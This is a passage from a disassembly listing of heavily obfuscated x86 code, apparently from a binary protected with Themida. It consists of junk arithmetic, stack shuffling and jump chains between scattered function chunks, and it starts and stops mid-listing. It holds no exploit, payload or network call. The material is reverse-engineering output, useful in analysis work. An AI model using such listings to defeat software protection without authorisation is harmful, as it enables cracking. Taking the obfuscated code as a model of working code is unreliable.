arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 0058A617 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058B239 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058B7F4 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058C2C5 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058C605 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058CCB7 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0058D2E6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058DB75 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058E1EA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058E833 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058E929 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058EBDE SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058ED84 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058F4B2 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0058F831 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058FD90 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058FFDB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00590609 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00590649 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00590699 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00590F3F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00591237 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059137A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059168F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00591AC2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00591D25 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005923A5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00592513 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00592882 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00592BA9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00592E94 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059307D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059321F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005932C5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00593B33 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00594037 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005942C0 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00594440 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005945F8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00594812 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00595637 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00595791 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00595E0B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00595E36 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059709B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00597166 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00597A80 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00597BE9 SIZE 00000010 BYTES sub esp, 4 mov [esp+4+var_4], ecx push 5CCC0A2Ah pop ecx xchg edx, ecx not edx jmp loc_58FFDB sub_595E21 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_595E36: ; CODE XREF: sub_595E21-22D8j mov ebp, 2187740Bh mov ebx, ebp pop ebp xor ebx, 0CCC089Fh add edx, ebx pop ebx jmp loc_58E929 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_595E4C: ; CODE XREF: sub_58F5B5-468Aj pop ecx jmp loc_58E077 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_595E52: ; CODE XREF: Themida_:00598023j sub ax, 28AFh add ax, di add ax, 28AFh jmp loc_58A302 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_595E62: ; CODE XREF: sub_590467-F64j jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_595E67: ; CODE XREF: Themida_:0058B03Aj ; Themida_:0058D991j mov dx, 2 jmp loc_591B16 ; --------------------------------------------------------------------------- loc_595E70: ; CODE XREF: Themida_:00594F28j mov ebx, [esp] add esp, 4 jmp loc_59381C ; --------------------------------------------------------------------------- loc_595E7B: ; CODE XREF: Themida_:00590A2Aj push ebx mov ebx, 16EF0B5Dh push edi mov edi, 40D315AFh jmp loc_58E5E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_595E8C: ; CODE XREF: sub_5916C4+1B19j sub edx, 280C0B9Fh add edx, 7EF8540Bh add edx, eax sub edx, 7EF8540Bh add edx, 280C0B9Fh push eax mov eax, 3FAE0CC1h push edi mov edi, 1607460Dh sub eax, edi pop edi and eax, 396A59CBh xor eax, 37B64054h push esi mov esi, 3D137D97h shl esi, 1 sub esi, 21357AA6h add esi, 0CE406D0h jmp loc_58B7E3 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_595ED8: ; CODE XREF: sub_590B70-3E60j push 7C73h jmp loc_58A475 ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_592D91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F836 loc_595EED: ; CODE XREF: sub_58F836+5186j pop edx xor ebp, 4201Ch push ebp xor [esp+10h+var_10], 62764025h pop eax xor eax, 62764025h pop ebp mov edx, eax pop eax add edx, 73B13AC7h add edx, edi sub edx, 73B13AC7h push dword ptr [edx] sub [esp+8+var_8], 6DD12502h jmp loc_58A6B4 ; END OF FUNCTION CHUNK FOR sub_58F836 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebx jmp loc_58C758 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_595F30: ; CODE XREF: sub_590467-48AAj push dword ptr [esp+0] pop ecx add esp, 4 push [esp-6+arg_0+2] push dword ptr [esp+0] pop ebx add esp, 4 add esp, 4 xor bl, al jmp loc_591CDB ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5942E3 loc_595F54: ; CODE XREF: sub_5942E3-3F85j push dword ptr [esp+0] mov edi, [esp+4+var_4] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+4+var_4] pop esp sub eax, 4 xchg eax, [esp+0] mov esp, [esp+0] mov [esp+0], ecx jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5942E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_595F7D: ; CODE XREF: sub_5916CB-16F5j push [esp+4+var_4] mov eax, [esp+8+var_8] add esp, 4 push ebx mov ebx, esp push edi jmp loc_58D852 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_595F92: ; CODE XREF: Themida_:00592A75j dec esi shr esi, 2 jmp loc_58AF86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_595F9B: ; CODE XREF: sub_5916C4-2452j mov esi, eax mov eax, [esp+0] add esp, 4 shr esi, 2 not esi sub esi, 690662Ch jp loc_58F21F add esi, 952E0913h xor eax, esi push [esp-4+arg_0] jmp loc_594DA2 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_595FC4: ; CODE XREF: Themida_:0058C348j xor al, dl pop edx sub esp, 4 mov [esp], ebx mov bl, 0F0h add bl, 12h ja loc_58D8B7 sub bl, 0D5h push cx mov cl, 6Ch jmp loc_597C42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_595FE7: ; CODE XREF: sub_590010+CD2j push [esp-8+arg_4] pop ebp jmp sub_58E0C4 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_595FF0: ; CODE XREF: sub_595123-1C05j mov edx, esp add edx, 4 add edx, 4 push edx jmp loc_5952D8 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_596001: ; CODE XREF: Themida_:0058EAADj push ebp mov ebp, 58622324h jmp loc_58AC31 ; --------------------------------------------------------------------------- loc_59600C: ; CODE XREF: Themida_:0058B1C0j add esi, edx jmp loc_5963FE ; --------------------------------------------------------------------------- loc_596013: ; CODE XREF: Themida_:0058B808j mov ebp, esp push edx push ebx mov ebx, 703F0E06h sub ebx, 615C2495h xor ebx, 1BEA516Eh jmp loc_5924C5 ; --------------------------------------------------------------------------- loc_59602D: ; CODE XREF: Themida_:00596D37j dec ebp or ebp, 6D3B1018h xor ebp, 7CA0C241h sub esi, ebp pop ebp jmp loc_58B6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_596042: ; CODE XREF: sub_58C17E-1A76j add esp, 4 push edx mov edx, 4 add ebp, edx mov edx, [esp+4+var_4] add esp, 4 add ebp, 2 xor ebp, [esp+0] jmp loc_58F10B ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_596064: ; CODE XREF: Themida_:00590E45j dec edi jmp loc_58C6DB ; --------------------------------------------------------------------------- loc_59606A: ; CODE XREF: Themida_:00597B24j neg bp xor bp, 0BDD8h xor dx, bp pop ebp and dx, 2021h jmp loc_597EE3 ; --------------------------------------------------------------------------- loc_596080: ; CODE XREF: Themida_:0058FBE4j dec ecx jmp loc_596F6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_596086: ; CODE XREF: sub_58B4D6+ACC5j add ebp, ecx jmp loc_58EBFE ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- loc_59608D: ; CODE XREF: Themida_:0058D681j add ebx, 4B52234h pop ebp add ebx, 6E834FB8h pop esi xchg ebx, [esp] jmp loc_59517F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5960A3: ; CODE XREF: sub_59762D+2j push 3B1D5A3Bh pop ecx or ecx, 44E112D3h not ecx sub ecx, 3A4169B4h mov ebx, ecx pop ecx not ebx neg ebx jmp loc_595773 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_5960C3: ; CODE XREF: Themida_:005950E6j pop edi mov edx, [esp] add esp, 4 sub [esp], eax sub dword ptr [esp], 1F372BAEh jmp loc_58DFD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5960D9: ; CODE XREF: sub_5EC2E8-5E606j pop esi dec esi push eax push 2F3Fh mov [esp+20h+var_20], esi pop eax jmp loc_596124 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_5960EA: ; CODE XREF: Themida_:00593E96j mov edx, eax mov eax, [esp] add esp, 4 shr edx, 8 jmp loc_58BBCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5960FD: ; CODE XREF: sub_5EC2E8-556EFj add eax, edx sub eax, 3EBB71EBh jmp loc_592AD7 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_596109: ; CODE XREF: sub_5916C4-3958j xor ebp, 34697598h push ebx mov ebx, 2F7B636Fh shr ebx, 2 jmp loc_58E221 ; --------------------------------------------------------------------------- loc_59611D: ; CODE XREF: sub_5916C4-6CCBj shl bl, 1 jmp loc_590545 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_596124: ; CODE XREF: sub_595E21-82A5j ; sub_5EC2E8-56203j pop esi shr eax, 2 xor eax, 236A4CFFh sub eax, 2447CF30h sub edx, eax jmp loc_592B98 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_596139: ; CODE XREF: sub_5916CB+1918j pop eax mov esi, edi mov edi, [esp+8+var_8] add esp, 4 add edi, esi pop esi jmp loc_58DF20 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- xor [esp], si xor si, [esp] jmp loc_597C04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_59615A: ; CODE XREF: sub_5919E2+2D0Cj add ecx, 0F0C8D299h mov [eax], ecx mov ecx, [esp+8+var_8] add esp, 4 mov eax, [esp+4+var_4] jmp loc_58D6E8 ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_596173: ; CODE XREF: sub_5916C4+31E3j push edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] and eax, edx jmp loc_590938 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_59618F: ; CODE XREF: sub_58B4D6+7j inc ebp sub esp, 4 mov [esp+8+var_8], ecx mov ecx, 725A3CCEh jmp loc_596086 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_5961A0: ; CODE XREF: sub_590467-4D07j push edx mov dh, 0C4h xor dh, 11h jbe loc_592085 not dh not dh shr dh, 6 and dh, 0CBh jnp loc_58E487 sub dh, 0E1h push ecx mov cl, dh mov bh, cl pop ecx pop edx jmp loc_58E47C ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5961CB: ; CODE XREF: sub_59762D-1EB4j sub ebx, 4AE42B21h mov ebp, ebx jmp loc_595590 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_5961D8: ; CODE XREF: Themida_:0058B7B9j mov edx, edi jmp loc_59323D ; --------------------------------------------------------------------------- loc_5961DF: ; CODE XREF: Themida_:00591A31j or bl, dl mov edx, [esp] jmp loc_58A992 ; --------------------------------------------------------------------------- loc_5961E9: ; CODE XREF: Themida_:005939ACj push edx mov edx, 36300AD2h add edx, 2CF55341h and edx, 3884696Fh sub edx, 0A13545FEh add ebx, edx pop edx push edx push esp pop edx jmp loc_5923E5 ; --------------------------------------------------------------------------- loc_59620C: ; CODE XREF: Themida_:00595B16j mov esi, [esp] add esp, 4 xchg ebp, edx not ebp xchg ebp, edx shl edx, 3 jns loc_59220D shr edx, 2 jnp loc_593FE3 shl edx, 3 and edx, 263F73B9h jg loc_58E7B6 push esi jmp loc_58FD39 ; --------------------------------------------------------------------------- pop esp mov dl, ah push esi loc_596243: ; CODE XREF: Themida_:0058EE36j xchg esi, [esp] pop esp btr [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_596252: ; CODE XREF: Themida_:00592028j add ebp, edi add ebp, 4F66FD4h add ebp, 60187465h pop edi jmp loc_58D216 ; --------------------------------------------------------------------------- loc_596266: ; CODE XREF: Themida_:00592A7Dj push edx jmp loc_595A51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59626C: ; CODE XREF: sub_58F5B5+5FCCj sub eax, esi push ebp mov ebp, 0DFE56BFh or ebp, 2E9F1515h and ebp, 9F254C3h jz loc_591B5B add ebp, 586A181Ah add ebp, 1BA2E540h add eax, ebp pop ebp pop esi jmp loc_593FF2 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_59629B: ; CODE XREF: Themida_:00597DC7j add cx, 0CA32h mov bp, cx mov ecx, [esp] add esp, 4 sub bx, bp jmp loc_596A13 ; --------------------------------------------------------------------------- loc_5962B1: ; CODE XREF: Themida_:0058FD53j ; Themida_:00591476j xor dh, 0D2h sub ch, dh pop edx sub ch, 55h add ch, ah add ch, 55h add ch, 65h pop eax add al, 8Dh sub al, ch sub al, 8Dh pop ecx sub al, bl push small 3C24h mov [esp], bx push eax jmp loc_591854 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_5962DA: ; CODE XREF: sub_595BDA-AF87j add esi, 80820Ch mov edi, esi pop esi jmp loc_58FD28 ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- loc_5962E8: ; CODE XREF: Themida_:005936D1j pop eax mov [ecx], dl pop ecx mov edx, [esp] add esp, 4 jmp loc_591E69 ; --------------------------------------------------------------------------- loc_5962F7: ; CODE XREF: Themida_:00590C04j shr ebp, 6 push eax mov eax, 609126A6h jmp loc_58F6EE ; --------------------------------------------------------------------------- loc_596305: ; CODE XREF: Themida_:0058E444j shr eax, 4 dec eax add eax, 0F7BEE788h add esi, 75A87462h sub esi, eax sub esi, 75A87462h pop eax xor esi, [esp] jmp loc_58BA58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_596325: ; CODE XREF: sub_58B4D6-EBj pop ebx add eax, 3C9C7770h sub eax, ebx sub eax, 3C9C7770h push ebx push edx mov edx, 624569C2h xor edx, 4E3404DBh sub edx, 14B13395h add edx, 36BE3AC9h mov ebx, edx pop edx jmp loc_594CC1 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] push ebx mov ebx, 7F645630h xor [esp+4], ebx mov ebx, [esp] add esp, 4 mov eax, [esp] push ebx push esp pop ebx add ebx, 4 push edi jmp loc_58E58A ; --------------------------------------------------------------------------- loc_59637B: ; CODE XREF: Themida_:00591558j pop esp mov ax, [esp] push ebp jmp loc_59009C ; --------------------------------------------------------------------------- loc_596386: ; CODE XREF: Themida_:00594351j dec esi push esi not dword ptr [esp] pop esi not esi push eax mov eax, 58D00623h inc eax sub eax, 51BB4308h add eax, 847ACEFDh jmp loc_58CD07 ; --------------------------------------------------------------------------- loc_5963A4: ; CODE XREF: Themida_:00590CB2j push eax push bx push edx push ecx jmp loc_59273D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5963AE: ; CODE XREF: sub_5EC2E8-62019j add al, 4Bh add al, 9Eh sub al, bl sub al, 9Eh push ebx push eax push edx mov dh, 3Dh and dh, 8Ch jno loc_597ED0 not dh dec dh sub dh, 23h jmp loc_58CEC2 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- lodsd push ebx ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5963D2: ; CODE XREF: sub_5916C4-30Dj mov esi, 65F117F6h or esi, 0A0B0623h dec esi push 0 sub [esp+2+var_4+2], esi pop esi dec esi sub esi, 9004E805h jmp loc_590660 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5963F3: ; CODE XREF: Themida_:00590AFCj add esp, 4 jmp loc_58D996 ; --------------------------------------------------------------------------- loc_5963FE: ; CODE XREF: Themida_:0059600Ej pop edx pop edi add esi, 4E855C38h sub esi, 6CBF4333h jmp loc_58FB8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_596411: ; CODE XREF: sub_58C17E+B4C5j add esp, 4 shr eax, 0Ch jmp loc_595D6F ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_59641C: ; CODE XREF: sub_5916C4-1069j mov edx, [esp+0] push edx jmp loc_595DA2 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_596425: ; CODE XREF: sub_590467-2E74j add bh, 6Bh mov ecx, [esp-6+arg_0+2] add esp, 4 push small 39DEh mov word ptr [esp-8+arg_4], cx mov ch, 0FCh add bh, ch pop cx mov cl, bh pop ebx push eax jmp loc_58F5D3 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_596445: ; CODE XREF: sub_58F5B5+7C55j xor cl, 9Dh sub esp, 4 mov [esp+10h+var_10], eax mov ah, 0DEh sub ah, 0FEh jmp loc_59120D ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_59645B: ; CODE XREF: Themida_:0059194Fj mov eax, 39264A9Bh sub ebx, 51A2444Bh add ebx, eax add ebx, 51A2444Bh pop eax push small word ptr [eax] jmp loc_593916 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_596477: ; CODE XREF: sub_5916C4-CA4j pop esp add [esp-4+arg_0], eax pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E3A6 loc_596481: ; CODE XREF: sub_58E3A6+35E0j sub edx, 64636A58h mov ecx, [esp-4+arg_0] add esp, 4 add edx, 1C5F236Fh push ebp mov ebp, 56D1014Bh xor ebp, 29A83750h jmp loc_596CEF ; END OF FUNCTION CHUNK FOR sub_58E3A6 ; --------------------------------------------------------------------------- loc_5964A4: ; CODE XREF: Themida_:0058D0DBj push edx mov edx, 4490398Eh sub edx, 213E255Dh mov ecx, edx pop edx jmp loc_58E2F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_5964B8: ; CODE XREF: sub_59762D-3320j add eax, 502B6903h sub eax, edi sub eax, 502B6903h pop edi jmp loc_58E6A9 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_5964CA: ; CODE XREF: Themida_:0058E566j ; Themida_:0059079Bj xor ecx, 1B19686Fh js loc_591375 jmp loc_595374 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5964DB: ; CODE XREF: sub_5EC2E8-5AF97j sub eax, 29835A61h jmp loc_597648 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_5964E5: ; CODE XREF: sub_590467+6BBj pop ecx sub al, bl mov ebx, [esp+0] add esp, 4 sub esp, 4 jmp loc_591BA0 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_5964F6: ; CODE XREF: sub_590010+2EFDj mov edi, 7FE78ADh sub edi, 0BE503E93h add ecx, edi jmp loc_594CDA ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_596508: ; CODE XREF: Themida_:00597B70j sub esi, 6EDE450Fh sub esi, 1A8479B3h sub esi, 79642ACAh sub esi, 56A7FE1Fh or eax, esi jmp loc_59355A ; --------------------------------------------------------------------------- loc_596527: ; CODE XREF: Themida_:00590D8Ej jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_59652C: ; CODE XREF: Themida_:00592CDDj pop ebp push esi push dword ptr [esp+4] pop esi jmp loc_5930CE ; --------------------------------------------------------------------------- loc_596538: ; CODE XREF: Themida_:005909A1j mov eax, esp jmp loc_58D5CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_59653F: ; CODE XREF: sub_595123-A13Ej ; Themida_:loc_59325Cj mov eax, [esp+8+var_8] add esp, 4 add esp, 4 jmp loc_597C55 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_596550: ; CODE XREF: Themida_:005906CFj push esi mov esi, 7AA97A48h shr esi, 1 sub esi, 43214E51h add esi, 5A0E1967h add esi, 0C0368373h and edx, esi pop esi or edx, 1460696Fh inc edx jmp loc_592C70 ; --------------------------------------------------------------------------- loc_596579: ; CODE XREF: Themida_:loc_58E608j jmp loc_590600 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_59657E: ; CODE XREF: sub_590467-5D55j pop [esp-4+arg_0] mov esp, [esp-8+arg_4] add word ptr [esp-8+arg_4], ax pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_59658E: ; CODE XREF: sub_58B4D6+6F5Dj push edx mov edx, esp add edx, 4 push ebp mov ebp, 4 add edx, ebp jmp loc_58E21B ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- loc_5965A4: ; CODE XREF: Themida_:0058BF19j inc al sub al, 65h sub dh, 0DEh add dh, al add dh, 0DEh pop eax sub dh, 33h sub dh, 24h push 4652h mov [esp], ecx mov cl, 0C1h add dh, cl pop ecx sub al, dh pop edx push ebx jmp loc_5977AD ; =============== S U B R O U T I N E ======================================= sub_5965CD proc near ; CODE XREF: sub_58C17E-AD3j ; FUNCTION CHUNK AT 0058C0CD SIZE 0000000B BYTES push ebp mov ebp, ecx mov ebx, ebp pop ebp jmp loc_58C0CD sub_5965CD endp ; --------------------------------------------------------------------------- loc_5965D8: ; CODE XREF: Themida_:0058ACEFj mov ecx, 26836A92h add [esp+8], ecx pop ecx jmp loc_58B383 ; --------------------------------------------------------------------------- loc_5965E7: ; CODE XREF: Themida_:005949A2j not edi push ebp mov ebp, 1 add edi, ebp pop ebp xchg edi, esi xor esi, 69CD4DDBh neg esi shr esi, 1 add esi, 0A5A6A105h mov ebp, esi pop esi jmp loc_594214 ; --------------------------------------------------------------------------- loc_59660C: ; CODE XREF: Themida_:00590A52j push 297Bh jmp loc_58BE16 ; --------------------------------------------------------------------------- loc_596616: ; CODE XREF: Themida_:005978F1j or ecx, 390B1356h add ecx, 8200C8AEh add ebp, ecx jmp loc_58F5E1 ; --------------------------------------------------------------------------- loc_596629: ; CODE XREF: Themida_:00592E7Aj mov si, [esp] add esp, 2 push small 6A8Ch mov [esp], si push small word ptr [esp+2] pop si pop small word ptr [esp] jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EC96 loc_59664B: ; CODE XREF: sub_58EC96-2FA2j sub bl, al add bl, 0BEh jmp loc_5946B3 ; END OF FUNCTION CHUNK FOR sub_58EC96 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_596655: ; CODE XREF: sub_5916C4-1DFEj xor ebx, eax jmp loc_58CCA5 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59665C: ; CODE XREF: sub_58F5B5-526Aj push eax push [esp+8+var_4] pop eax jmp loc_58FF8A ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_596667: ; CODE XREF: Themida_:00592D5Ej push 1927h jmp loc_594B1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_596671: ; CODE XREF: sub_5916CB+3C08j push 1994h mov [esp+14h+var_14], ebx jmp loc_596EC3 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_59667E: ; CODE XREF: Themida_:00591524j mov eax, [esp] push ebx mov ebx, esp push eax mov eax, 30332356h dec eax push ecx mov ecx, 40D835D1h sub ecx, 599D3814h neg ecx push ebx push ebp mov ebp, 0BC50899h mov ebx, ebp pop ebp jmp loc_592009 ; --------------------------------------------------------------------------- loc_5966A8: ; CODE XREF: Themida_:0058B8F7j add edi, 20343098h add edi, esi jmp loc_58BF67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5966B5: ; CODE XREF: sub_58C17E-1996j push esi push 3E5A6B2Bh pop esi jmp loc_591516 ; END OF FUNCTION CHUNK FOR sub_58C17E ; =============== S U B R O U T I N E ======================================= sub_5966C1 proc near ; CODE XREF: sub_5916C4:loc_593026j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058AFEA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058C210 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058E524 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005956A6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005972A4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00597305 SIZE 0000001F BYTES push ebp mov ebp, 247D70B9h xor edi, ebp pop ebp add edi, 9A49F687h jmp loc_597305 sub_5966C1 endp ; --------------------------------------------------------------------------- loc_5966D5: ; CODE XREF: Themida_:00596A67j push edi pop ecx jmp loc_58A89B ; --------------------------------------------------------------------------- loc_5966DC: ; CODE XREF: Themida_:0058B56Ej sub ah, 0FFh push edx mov dl, 0E5h push ebx mov bh, 0F5h jmp loc_5934D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5966EA: ; CODE XREF: sub_58C17E-1699j pop ecx pop ecx sub esp, 4 mov [esp+8+var_8], ebx mov ebx, 6C487D9Ah xor ecx, ebx mov ebx, [esp+8+var_8] add esp, 4 mov [edi+20h], ecx mov ecx, 